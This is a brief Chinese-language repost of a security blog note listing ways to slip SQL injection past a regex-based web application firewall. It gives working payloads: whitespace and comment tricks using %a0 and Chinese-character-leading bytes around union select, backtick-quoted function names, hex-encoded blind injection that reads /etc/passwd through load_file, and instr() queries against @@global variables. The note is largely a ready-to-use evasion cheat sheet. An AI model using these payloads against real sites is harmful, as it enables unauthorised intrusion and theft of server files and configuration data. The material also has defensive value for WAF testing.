轉自:https://security.tencent.com/index.php/blog/msg/66
waf報警情況:
當waf利用正則匹配檢測union select類型的關鍵語句時報警,且/**/被過濾
過濾方法:
一、利用fuzz手段檢測%a0,%0d(換行) 如:id=-1 union%a0select 1,2,
二、利用union/*%aa*/select。原本屬于/*xxx*/應該是被防護了,由于中文字符的特性利用,中文字符配合注釋符繞過所有規則。利用%e4等只要是中文字符開頭的,就可以完成繞過檢測!%a0之類的。原理,讓服務器不認識union+特殊字符+select之間的部分,因此特殊字符不能構成中文被識別出來。
三、專屬于MYSQL進行load_file
當敏感函數被過濾,waf又是基于正則匹配的情況下
1、version()%0b
2、`version`()利用在mysql中,`函數名`()==函數名()
繞過了函數名進行select。需要利用十六進制盲注:
id=1 and(select `load_file`(0x2f6574632f706173737764) is not null)
首先判斷服務器某文件是否存在,例如用/etc/passwd文件。0x2f6574632f706173737764是/etc/passwd的十六進制格式。在判斷確實存在該文件之后,可以通過:
id=1 and(select `load_file`(0x2f6574632f706173737764)>0x726f66)
根據頁面返回修改大于號之后的十六進制值,從而獲取到該文件的十六進制內容。
3、利用instr()進行盲注
若過濾了ascii,substr等函數,仍可以利用id=instr(@@global.version,1)來獲取global變量。@@global包含很多敏感信息